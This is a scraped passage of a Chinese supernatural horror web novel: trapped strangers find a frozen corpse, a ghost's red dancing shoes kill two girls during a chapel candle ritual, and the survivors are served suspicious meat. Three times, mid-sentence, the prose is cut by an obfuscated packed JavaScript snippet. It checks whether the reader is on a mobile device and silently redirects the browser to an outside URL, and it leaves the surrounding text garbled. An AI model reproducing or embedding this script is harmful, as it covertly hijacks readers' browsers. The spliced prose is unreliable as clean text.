她借着男人的手臂稳住身形,本能第一时间转头去看绊倒自己的硬物到底是什么东西,那一下像是踢到了充足气的皮球,触感十分怪异。 然而当目光正正落到那东西上时,刚要松开手又蓦地抱得更紧,她发出一声刺耳的尖叫,闭着眼睛死命往白焾怀里缩。 那一嗓子把趴在林路背上睡得正香的苏微命一下喊醒了,他睁开朦胧的眼睛望向下面,目光倏地顿住。 只见地上那不明物体被女生一脚绊得从积雪中露出大半,一片海藻堆砌似的黑色头发在死寂的白中尤为显眼,俨然是一个人头。 那人死前好像见到了什么异常恐怖的东西,极端恐惧下双目瞪出面容扭曲,嘴巴张到极大,像是在奋力地叫喊呼救,而他的耳、目、口、鼻皆被灰白色的雪灌得满满当当,肌肉僵直,显然已经躺在这里有些时间了。 而最令他们震惊的不是这个。 而是他的相貌。 “他……怎么那么像那个姓李的?”林路率先开口道。 姓李的就是指进山庄时一开始不想进来,后来又跟进来插空到最后一个女生前面的那位中年男人,他听到今早有人叫他老李。 被绊倒的女生惊恐地盯着埋在雪地中的尸体,身体禁不住颤抖,抱着白焾不撒手,失控地大喊道—— “就是他……就是他!我当时明明记得他没有进来,结果他就突然出现在我前面了,现在他为什么会死在这里?!” 她尖细的声音在空寂的环境中如同引爆炸弹的引线,好像钝刀在骨头上磨出瘆人的吱嘎声响,使得在场所有人的心都吊到了嗓子眼,脊背发寒。 当某种可怖的真相马上就要被揭开浮出水面时,周围所有或动或静的东西都是对精神的折磨,好似呼啸的风雪中夹杂蛰伏着无数双带血的眼睛、背后几米处的雪地里马上就会跳出来一群吃人的怪物,整个山庄都如同一张正在合并的深渊巨口,只待有谁将其戳破后彻底将人吞入其中…… 有鬼潜入了他们之中—— 在剩下的、留在老太太屋里的那五人之中。 可以推测,那个中年男人当时确实没有跟进来,而是在外面找了许久的“出口”,后来他发现自己根本无法离开这个地方,到处都是茫茫白雪,又冷又饿,天色已经黑了下来,所以他又惴惴不安地又回到了山庄外的石碑之下,壮着胆子迈了进去。 他想要去找户人家,或者去找之前跟着老太太进来的其他人,但是他走了许久发现这里的房子都是空无一人,里面什么都没有,没有火没有水,他仍然又冷又饿,他迷路了。 或许晚上的时候他进了某个房屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409007|168800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里避雪,夜里遇见了什么可怕的东西,被追着跑到这个地方,又被什么活活吓死…… 白焾直接抬腿将他踢翻了个身,匆匆检查了一下他身上的情况。 因为他身上根本没有任何伤口和出血的痕迹。 “放开我吧小姑娘。” 那位女生被吓得有些愣怔,闻言反应了许久才慢慢放开了他。 “就是说,现在老太太家里与那些人一起待着的中年男人老李,是鬼冒充的,从昨天晚上直到现在?”安童稀奇道。 白焾点了点头,“只能是这样,眼前这个和屋里那个肯定有一个是假的。” 苏微命从林路背上下来,还算平静地问他,“那个鬼会在我们出门后对剩下的人动手么?如果有谁单独和他相处,岂不是也极有可能在大家不知道的情况下被调包?” 尤其是昨晚与中年男一间屋子睡觉的那个人,遇害的风险极大。 第二天早上起来时,到底是真是假了? 安童双手背在身后,“为了以防万一,回去后提防着剩下那五人吧,他们每一个都有可能是死人了,所以姓李的是鬼这件事先别当众揭穿,非必要最好还是不和那种东西起正面冲突。” 林路皱眉道,“那你和白焾呢,你们的舍友也在那五个人之中。” “那就……”她眨眨眼睛,仰头思考片刻,“379。” “什么?” “379,作为我们之间的数字暗号。”她捂着嘴巴小声道,“如果我们出了事你们也能试出来。” “可以。”白焾点点头,转身继续迈开步子,“走吧,我们得赶快了,不然天黑之前回不来,点蜡还要时间。” 安童凑过去问他,“你就不会背背人家女生啊?” “女生有三个,我背哪个?” 安童一愣,没料到他把自己也算了进去,“我是说后面那两个啦,我还好,我在学校可是长跑冠军。” “后面女生有两个,我背哪个?”他又淡淡问道。 安童又被噎了一下。 对哦。 不说那两个女生,其实他们六个人都很累。 安童原本也就开个玩笑,并没有想用什么性别刻板印象绑架他,见这人无聊,也就悻悻闭了嘴。 直走到下午一点多,近乎三个小时的路程,虽然雪深难走气温过低是一部分原因,但距离也是真的很远。 一座十米多高的白金色建筑终于闯入视野,矗立在苍茫灰蒙的天地之间,最上方的尖顶被暴雪掩埋,隐约能看到上面一个巨大的黑色逆十字架。 从外形上看……说不上来的感觉。 像是西方教堂和东方古庙的结合体,中上部类似于西方基督教哥特式教堂,有高耸的尖塔和彩色玻璃窗,修长立柱上细细雕刻着教神的影子,绘画风格还融合了敦煌壁画的特色。 小小的窗户很高,根本无法看清里面是什么模样。 这教堂从外面看起来也很陈旧了,整座都透着一种败落的死气,大门底部和门框上有陈血结成的固状物,像是层层喷溅上去的。 不知道是不是幻觉,苏微命好像看到了一抹雪白的影子从尖顶上一闪而过,速度堪比爬行的蜥蜴,几乎与风雪融为一体,貌似还有一抹红。 白焾上前一步抚上那扇沉重的大门,低声提醒道—— “我要推开了。” 5. 风雪山庄(五) 沉重木门在地上磨擦出浑厚震颤的声响,余音不绝,一股阴冷带着灰尘霉味的气息扑面而来,同时风携着纷纷白雪灌入其中,随着半扇三米高的大门被彻底推开,教堂内部的景象慢慢展露于众人眼前。 堂内空旷,顶部极高,光滑地板最中间是一圆形繁杂的图腾,正上空是一华丽巨大的水晶吊灯,一席红色长毯自尽头的祭坛下方延至门口处,艳红如血河,直流到他们的脚下。 而祭坛之上,最深之处也是最明显之处,立着一位美到极致不辨男女的巨大人形雕塑—— 或者说,神像。 一头长发垂落胸前,额发错落于眉眼之间,长睫轻阖,右手掂着一朵开得繁茂的蔷薇花,另一只手持着神杖,形态像浸泡在水中沉浮的水妖,美得优柔,美得诡异。 虽然知道是石膏雕塑,但仍是让人不禁感叹—— 太白了。 不是那种石质的冷白,而是皎洁丰满的那种白,带着生机的乳白,好像随时就能睁开眼睛。 六个人都被震惊得原地愣了会儿,片刻后,站在前面的白焾迈开步子,一脚踩在了那张红毯上。 中间正上空的吊顶突然晃了晃,似是被风吹的,发出尖细的吱呀吱呀的声响。 “能、能不能进去啊?”一位女生望着尽头那座神像小声道,“怎么感觉他好像要活过来了?” “别瞎说。”另一位和她一起的女生道。 安童转身朝她们招招手,“跟上来,点完蜡烛早点回去。” 林路本想把门关上防止有什么邪风把蜡烛中途吹灭,但看了眼上面那尘旧的吊灯,显然不能用了,关上门之后肯定一片乌黑,那氛围更是要命,只好放弃了这个想法,与苏微命并排走在红毯上。 这个教堂极大,一眼望去是大片大片的白,更衬得脚下的长毯红得刺眼,四周墙壁上都是类似于外面立柱上的教神浮雕,看不清面容,侧重于翩若惊鸿婉若游龙的形体,四肢同蛇般相交相缠。 一排排白色石膏柱上,摆放着各种各样的雕塑,人头骷髅、小婴儿、正在“融化”的半身幼儿,以及几种形状怪异不分头尾的不明生物…… 无数双白黑的眼睛盯着他们,林路发现他们每往前走一段路,那些雕像的眼睛就移动一寸,始终落在他们身上与他们对视。 他暗骂一声,压着声音道,“什么鬼东西。” “确实是鬼东西。”苏微命在旁轻声应和着。 林路的视线又往上看去,“你不觉得这个光明神特别像你,第一眼看的时候我都惊呆了。” “不觉得。”苏微命瞥他一眼。 “真的很像……”随着距离变近,他不得不半仰起头才能看到那巨大神像的脸,“眉眼三分像,气质七分像。” 安童听到了他们的对话,回头看看苏微命,又转头看看那个光明神,如此观摩对比了几次,有些惊奇道,“真的诶。” 苏微命,“……” 别说了,再说一会儿人家光明神生气了,我还不想死呢。 不知是巧合还是什么,祭坛前竟然正好有六个蒲团,而且正好是三座小烛台,上面各放着一支修长光洁的白蜡,旁边有一盒火柴。 白焾到祭坛前拿起火柴,跪在靠中间那个蒲团上,将烛台上的蜡烛一一点燃。 其余五人见状也都跪下。 “最好心中祈祷魂祭那天一切顺利,这是老太太说的,把自己当光明神的信徒,等着蜡烛燃完。” 说完他就双手搭在膝头,闭上眼睛。 其他人也照做。 视线一片漆黑,耳边是呜呜风声,那声音时而尖啸时而闷沉,像是有人在笑有人在哭,安童悄眯眯将眼睛睁开一条缝,仰头偷偷看了那光明神一眼,发现那神像的眼睛并没有完全阖上,而是睁开一条很浅的细缝,眼神说不上是温柔还是冷淡,像是正在垂眸低睨着祭坛前跪拜的信徒。 可刚进门时见到的他明明是闭着眼睛的。 可能是后来才睁开的,可能只是因为距离和视角原因。 安童俏皮地冲他笑了笑,继续闭上眼睛低下头,作信徒敬拜姿态。 六人时而抬眼看看蜡烛燃到哪里了。 教堂内的阴寒之气比外面的还要重,周围尽是诡谲的灰白雕塑和生了红锈的铁十字架,无数道灵活的视线从不同角度打在身上,跪在这分外空寂的地方让人感觉如芒在背,度秒如年。 如此,直到蜡烛还剩三分之一。 外面的风雪声更加凄厉了,时高时低,隐隐有其他声音混进了里面,隔雾观影般时隐时现。 安童身边的那位女生睁开眼睛,低声说道,“你们有没有听见……谁在唱歌?” 另一位胆子较小的女生哆嗦一下,把头低得更低了。 显然,她也听到了。 渐渐的,风声小了下去,一种温柔轻细的少女音唱着欢快的基调,从遥远的远方透雪而来—— “啦啦啦啦 啦啦啦啦 红舞鞋呀 跳呀跳呀 请出来吧请出来吧一起跳呀咯咯咯……” 胆子小的那位女生重重一抖,带着哭腔地低叫一声,转头望向教堂半开的大门之处。 “哒哒哒”的清脆声响在教堂内部响起,像是有谁踩着高跟鞋在教堂里欢快地跳舞,风雪呼啸而过,门口突然出现了一位没有双脚的红衣小女孩。 她披着头发,满脸雀斑,小腿血淋淋的,失了双足的脚腕处更是血肉模糊,眼睛瞪得大大的,嘴角扯起一种极为夸张的弧度—— “你们见到我的红舞鞋了吗?我找不到它了。” 高跟鞋跳动的“哒哒”声还在回响,众人看到一双插着雪白残足浸满鲜血的红色舞鞋于教堂中间欢快地跳动,踩着节律,疯狂又兴奋地向祭坛这边跳来。 “啊啊啊啊啊——!!” 那位女生尖叫起来,立马起身朝远离祭坛的方向逃跑。 红舞鞋却突然调转了方向,以一种极快的速度跟上了她,带着双脚的鞋子高高跳起,高跟鞋底直接扎穿入她的后脑勺,脑浆鲜血四溅。 她的眼球直接爆了出来,就这样保持着尖叫的模样,直挺挺砸进了血泊中。 这一切发生的太过突然,活生生的人就这么以如此血腥残暴的方式倒下,一双红舞鞋扰乱了全局,紧绷的神经一瞬间绷断,安童分别拉住两边的林路和另一位女生,皱着眉冷声喝道,“先不要跑不要动!” “多么漂亮的红舞鞋 红舞鞋啊跳啊跳请出来吧请出来吧我们一起来跳舞啊……” “你们见到我的红舞鞋了吗?我找不到它了。” 门口处失了双脚的红衣女孩喃喃唱道,往里面迈进了一步,白花花染着污血的腿骨“铿”得一声踩在了教堂的地板上,红舞鞋再次冲祭坛这边跳来,目标直冲苏微命。 苏微命本能抬膝想要躲,被身旁一直静默着的白焾猛地按住肩膀,方才离开蒲团的膝盖又被用力摁了回去,他不可置信地抬眸看向对方。 这姓白的要害我? 他等死的同时下意识想道。 谁知那高跟鞋在离他半米处的地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409008|168800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然转了个方向,加快速度朝右边跳去。 苏微命惊异抬头一望,只见安童死死拽着那个已经站起来想要逃跑的女生—— “你快跪下,先别跑!” “不跑等着和你们一起死吗!!放开我!” 女生方一用尽全力挣脱她的手,还未来得及转身便被高跟鞋猛地扎穿了眼球,发出一声凄厉的惨叫,鲜血源源不断从空旷的眼眶中涌出。 高跟鞋鞋跟将她的眼球带了出来,连带着几根神经一同自脑内拉了出来,串着她的眼球继续跳。 苏微命瞳孔骤缩,身上温度尽褪,眼睁睁望着那个女生同上一个一样倒下。 不光是他,林路也惊得愣在了原地。 白焾还算冷静,或者说他任何时候都出奇的冷静,不顾后面唱歌的小女孩和还在绕着他们跳舞的红舞鞋,“在第一个人死的时候就能看出来什么规则了,这样看来,这个山庄里确实必须完全听那个老太太的。” 他们现在都保持着跪坐在蒲团上的姿势,那双舞鞋还绕在周围狂跳,但是确实没有再攻击任何人。 苏微命怔然许久,蓦地想到—— 「你们可以去教堂拜神了,跪着烧完三支白蜡为止,延着村里的河,一直往东走。」 跪着烧完三支白蜡为止。 白焾在实验。 他在实验危险情况下不听老太太的话擅自保命会不会死,实验这个光明神到底是什么用途,所以没有事前提醒,以那第一个跪不住的人为规则试验品,得出结论后再采取措施减少同伴伤亡。 他第一晚收留那个中年妇女,三个人一间屋肯定也是在实验。 但三个人一间屋并不违反老太太的要求,她说两个人一间,但有人问多出来的那一个人怎么办时,她没有说话。 他是真敢试。 苏微命震惊地想道。 这和赌命有什么区别。 但是安童呢,如此情况下她也没有体现出想要逃跑的反应,她是同白焾一样早就有数,还是说只是智商高临时反应快? 如此可见,光明神和那红衣小女孩是对立面,信奉他能被保护避免被鬼怪攻击,而“信奉”的体现,就是一直跪到蜡烛熄灭,不管中途发生什么。 蜡烛如果中途断了应该也不行。 而且要仔细记住老太太的每一句话,有提醒有要求,有死亡条件有游戏规则。 现在他们只剩四个人了。 亲眼目睹两个人被鬼怪杀死着实给了苏微命较大的冲击,迟迟无法缓过神来。 腿骨敲击地面的声音愈来愈近,小女孩慢慢往这边走来,嘴里唱着歌,嘴角恨不得咧到耳根,口中的猩红舌尖若隐若现,像是含着血。 苏微命喉结滚动,转头不安地问白焾,“这个能不能防住啊?你不会还在做实验吧?” “不知道。”那人轻轻笑了下,似是被他说中了,“看看吧。” “……” 眼见得那女孩离他们越来越近,苏微命在跑和不跑之间犹豫不绝。 她唱完一段,又问了一遍,“你们见到我的红舞鞋了吗?我找不到它了。” 这到底是回还是不回啊,为什么总是问这个问题,不能给她设置多一点的台词么。 苏微命欲哭无泪。 回了可能死,不回也可能死。 可能性太多,他们每个人都是试验品,只不过是谁先谁后的问题。 “你的红舞鞋在那里。” 林路突然指着那双哒哒跳动的鞋子道。 6. 风雪山庄(六) 红衣女孩顿住了脚步。 她睁得极大的眼珠倏地一转,直直盯向了方才回答的林路。 苏微命心脏狂跳,视线匆忙紧张地在林路、红舞鞋和小女孩这三者之间穿梭,准备好在林路受到攻击的时候挡在他前面。 如果能来得及的话。 以红舞鞋攻击人的速度,能来得及死得可能就只是苏微命自己,来不及可能就要死两个人了。 正在他不动声色地转变了跪地的方向,于脑中预测自己两步扑过去需要多少时间时,小女孩突然弯下腰将那两只插着雪白双脚的红舞鞋捡了起来。 舞鞋在她手中便不跳了,残足脚踝处血肉模糊,断骨森森,浸着和她身上衣服一样鲜红的血液。 “谢谢你。” 小女孩道,大大的眼珠又盯着他看了许久,机械又僵硬地转身,“咚咚咚”地一步步往外面走去,最终那一片红隐入风雪中,变小、变小,直至完全消失。 这回连安童都错愕地愣了一会儿。 最后一点蜡烛正好燃尽,三支同时。 苏微命心有余悸地望着那半凝固的蜡油,轻声道,“老太太说白蜡能向神明传递愿望,蜡烛断灭或燃尽就意味着失去了祈祷和信奉的媒介,如果刚才小女孩没走,蜡烛在此时燃完,我们是不是就都要死了?” 白焾沉默半晌道,“确实,多亏了林路以身犯险。” 林路从蒲团上起身,将苏微命扶起来,又指了指那两滩尸体,面色略显僵硬。 “有点魔幻,就这么死了,以后会复活么?” 白焾笑了一下,反问道,“你觉得复活了还是人吗?” 林路抿唇,“怎么感觉你懂得这么多?你是不是……” “可能智商比你们高点吧。” 他声调很平,说这种话完全没有自吹自捧的高傲感或贬低他人的阴阳怪气,反而听起来很自然,竟然还让人感觉他有点谦虚。 苏微命不得不佩服他的双商和为人处事随机应变能力,但心里仍不免怀疑此人的真实身份—— 他一定与这怪异的地方有些联系,或者知道些他们不知道的东西。 “我们走吧。”安童道,“来的时候用了三个多小时,回去最早也要到下午五点了,希望那时候天还没有黑下来。” 苏微命总有一种异常怪异的感觉。 他看着那两滩尸体。 可能是受现代社会思想的深刻影响,他对女性和人命的感情有些复杂,如此望着那惨不忍睹的尸身,总有种想为她们做些什么的本能。 而这种本能在这种环境下、在白焾和安童面前,就显得违和和多余了,于是他强行将其压了下去。 他也不知道这尸体会怎么样,或许会一直在这里,或许会被什么怪物进来吃掉。 教堂的大门再次被关上,门缝彻底闭阖之前,苏微命不经意抬眸往里面瞥了一眼,发现尽头那座光明神的脸颊处好像有几处裂隙。 细微如蛛丝,那几线黑在膏白上较为突兀,要不是他眼神好根本看不见。 那是什么? 刚才抵挡鬼怪近身被阴气侵蚀留下的裂痕?还是本来就有? 林路握住他的手揣在兜里暖着。 苏微命没抽回来,心里还想着事情,只是道,“我有兜。” “你那不暖和。” …… 来时六个人,回去的路上就只剩下了四个人,气氛有些沉闷,谁都没有说话,谁也不知道回去的路上会不会又遇上什么东西。 苏微命望着那隐隐约约的河岸线,冰封的河面上,雪覆得比来时更多更厚了,几乎要与陆地上的雪面齐平。 如此堆积下去,界线可能会更加模糊。 明天那五人再来时需要提醒他们做点标记,不然在这苍茫雪原中没有标识很容易迷路,老太太既然说了魂祭之前每天都要去教堂,那必是一天都不可少的,否则大家极有可能会出事。 不到魂祭那天苏微命不敢对生存抱什么期望,总感觉躲得了初一躲不了十五,那天肯定会来个大的。 这次他坚持没再让林路背自己,强撑着一路走过来了,再次到老太太家中已经下午五点半了,天色正处于昏与黑的交界线,月亮还没升起,混着一点雪落的白茫。 推开大门进了堂屋,踩下的脚印不久就被冷风卷雪吹平,他们抖落身上头上的粉末,老太太正在炉边烧火做饭。 应该是走了太长时间体力消耗过大,苏微命感觉肚子好饿,听着锅里咕噜咕噜的声音,竟然闻到了一种奇异的肉香。 “怎么这么晚才回来?” 那位跟安童睡一间屋子的女生叫岑柚柚,因为一开始被安童拉着当舍友所以对她的好感很高,也不自觉依赖这个唯一的伙伴,起身走过来挽住安童的胳膊,关心地问道,“有没有遇到什么事?迷路了吗?” 安童抿唇冲她笑笑,“因为好远喔,明天你们要辛苦些了,真的好远。” 那位中年妇女道,“那两个女生呢?” 四个人都沉默了。 白焾走到沙发上坐下,语气凝重地将来龙去脉简单地讲了讲。 当然,忽略了半路上见到的那个尸体,以及现在只有他们四个人才知道的暗号。 苏微命和林路都不动声色地观察着那位中年男人的言行举止,除了话少些,实在没看出什么异常。 鬼在伪装方面出人意料得精明,他们看不出这五个人里除了中年男是否还有人被调包了。 包括那个岑柚柚,听到白焾说到那两个女生死亡时吓得跟个鹌鹑似的,缩在安童身边,看起来跟正常人没什么两样。 也有将注意力放在中年男的舍友上,但观察无果,苏微命向前问道—— “你叫什么名字?” 对方貌似还是个大学生,被他突如其来的问话吓了一跳,哆嗦道,“我、我叫王一余。” 苏微命点了点头。 其余几人脸色煞白,久久没有说话,只有老太太煮的那一大锅东西在咕嘟作响。 白焾丝毫不避讳坐在不远处的“NPC”,提醒他们道—— “明天去拜神的五个人,可以选择将教堂的门关上或半开着,半开着就有可能会遇到我们这种情况,会有脏东西进来,但只要蜡烛不灭一直跪着应该就没有危险。” “关上门里面应该就会很黑,蜡烛是唯一光源,这样更保险一些,前提是如果那种氛围你们能受得了的话。” “也不一定保险,”林路淡淡开口道,“或者那里面的雕塑会活过来,反正门是开是关都有可能会有什么来攻击你们。” “河岸线不是很清楚,防止回来的时候辨不出来丢了方向,你们去的时候可以用树枝扫扫。”苏微命道。 “谢谢、谢谢。”岑柚柚点头小声道,能看得出来她非常紧张不安。 安童拍拍她的肩,凑近轻声道,“别害怕啦。” 岑柚柚不说话,后悔今天没壮着胆子和她一起去,只是点头。 老太太将锅盖掀开,浓郁的肉香溢散至温暖的屋中,众人都咽了咽口水,下意识往那锅中看去。 “呕……” 岑柚柚捂住痉挛的胃部,捂住口鼻朝一边干呕不止。 苏微命的表情有点僵。 只见那口锅里大半锅浑水,上面飘浮着带着不明白棕色泡沫的肉块,厚厚的脂肪肉和浮肿发白的表皮,咕噜咕噜地冒着泡,时不时漾上几块大骨头的关节部分。 让人想到今早死的那两个男人。 随着她用勺子一搅,那怪异的香气更加浓厚,调动着人的味蕾,又让人感到说不上来得恶心。 苏微命现在快饿死了。 人在最饿的时候是最头脑不清不顾死活的时候,他冷着脸问道—— “这是什么肉?死人肉吗?” 老太太没说话,一碗碗将肉块盛出来。 合着我忙活一天走了六个小时的路在雪地里冻得要死回来还要吃这种猪不猪人不人的东西? 他气极反笑,“你家里有煎饼干粮什么的吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409009|168800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没有。”老太太道,抬起枯树皮般的眼皮,用浑浊的眼球看着他。 一片静默中,苏微命同样直白地盯着她的眼睛,冲天的怒气漫延在整间屋内,大有种“你不给我找个能吃的东西我就去拔你家屋顶上的茅草吃把你房子拆了”的架势。 还是那句话,人在饿的时候什么都能做的出来。 大抵是他的眼神怨念太重,老太太终于道,“这是猪肉。” 苏微命毫不客气地攻击道,“你煮得太丑太恶心了。” 老太太,“……” 林路知道他这是饿坏了,脾气上来了刀架脖子上也压不住。 许久许久,见没人去端盛好肉汤的碗,她起身出了堂屋,不一会儿拿了个红色大袋子,里面有几张干瘪的面饼。 苏微命拿了张面饼坐在桌边啃,低着头硬嚼,也没有水,看起来竟有些可怜。 林路找了屋里的暖壶倒了杯热水,确保水清澈无味后推到他面前。 于是晚上这顿饭,所有人都吃的面饼配白开。 …… 晚上十一点回到睡觉的房间,苏微命先从炉子里添了大把的柴火。 “我们现在还剩九个人了,这才第二晚,不知道今晚会不会出事。”林路揣着兜在屋里闲晃,慢慢悠悠道。 “明天那几人去拜神的时候我们先给白焾和安童对下暗号。”苏微命道。 “这么直接?如果对不上来呢。” “那就直接揭穿呗,”他起身走到床边坐下,脱掉风衣,“对他说,你就是鬼,别他妈装了,一脚踹翻他。” 林路笑出声来。 “你说我们到底还能不能活着回到原来的世界,到底要从这里待到多久。”苏微命仰倒在床上,生无可恋地看着漆黑的天花板。 “等第七天呗,多活一天是一天。” “可是我觉得这样很累,如果最后都得死,现在做的这些有什么意义。” 林路无言半晌,叹了口气走到床边,“你做什么了祖宗,你给我说你做什么了。” “我……”对方睁了睁眼睛第一时间想反驳,结果开口便噎住了。 他看着那双透粉的眼睛,无奈又嫌弃道—— “到哪都是躺,你觉得你多用心吗,你是最躺的那个好吧,别自我感动了,以你这求生欲能做出什么大事来。” “凡事还是我给你想着,还不知足呢。” 苏微命转念一想,自己好像还真是那么回事。 其实林路没有说出来的是,他也挺喜欢在这里的。 因为这里的强制性条件,可以每天和苏微命待在一起,照看他的饮食起居,为他操心担心,把他的生死安危当作第一要事,不会像现实世界里忙工作忙生活忙人际关系,根本顾不上他,甚至相距甚远只能打电话联系。 当然他还是更希望苏微命能够平平安安的回到现实世界里。 外面又有人群拥挤涌动的声音,这声音从远方传来,又很明显,经之前的讨论,他们人人晚上都能听到那种动静。 苏微命侧耳,细细听了半晌,明明感觉是哄闹闹的,却如何也听不清他们到底是在哭还是在笑,在吵架还是在聊天。 跟赶大集的似的。 他突然想到什么,看向坐在一旁脱外衣的林路—— “火车。” “什么?”那人偏头看他。 “那声音是不是很像许多人挤火车的动静。” 林路顿了顿,默声听了一会,“你这么一说……还真挺像。” “主要是我们刚进山庄时,那旁边就有一辆绿皮火车。” “你是想说那声音是从火车那边传来的?” “很有可能。”苏微命缓慢地眨了眨眼。 “那应该和我们无关吧,毕竟我们的拜神任务在东方,火车在西方,只要我们不去那里就行了。” 确实是这样,但是总感觉怪怪的。 如果那里的东西真的对他们没有威胁,那又为什么会存在呢?